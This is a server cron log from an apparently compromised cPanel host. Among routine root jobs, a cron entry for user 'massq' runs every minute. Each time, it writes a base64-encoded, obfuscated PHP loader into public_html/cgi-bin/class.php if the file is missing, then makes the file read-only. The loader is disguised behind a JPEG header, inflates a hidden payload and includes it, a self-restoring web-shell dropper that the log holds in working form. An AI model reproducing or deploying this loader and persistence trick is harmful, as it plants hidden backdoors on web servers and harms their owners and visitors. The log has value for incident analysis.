Nov 14 03:42:01 server CROND[7531]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 03:43:01 server CROND[8493]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:44:01 server CROND[9514]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:45:01 server CROND[10342]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 03:45:01 server CROND[10344]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:45:01 server CROND[10343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 03:46:01 server CROND[11301]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:47:01 server CROND[12160]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:48:01 server CROND[13103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:49:01 server CROND[13969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:50:01 server CROND[14836]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 03:50:01 server CROND[14837]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 03:50:01 server CROND[14839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 03:50:01 server CROND[14840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 03:50:01 server CROND[14846]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:51:01 server CROND[15741]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:52:01 server CROND[16531]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:53:01 server CROND[17485]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:54:01 server CROND[18370]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:55:01 server CROND[19270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 03:55:01 server CROND[19271]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:55:01 server CROND[19272]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
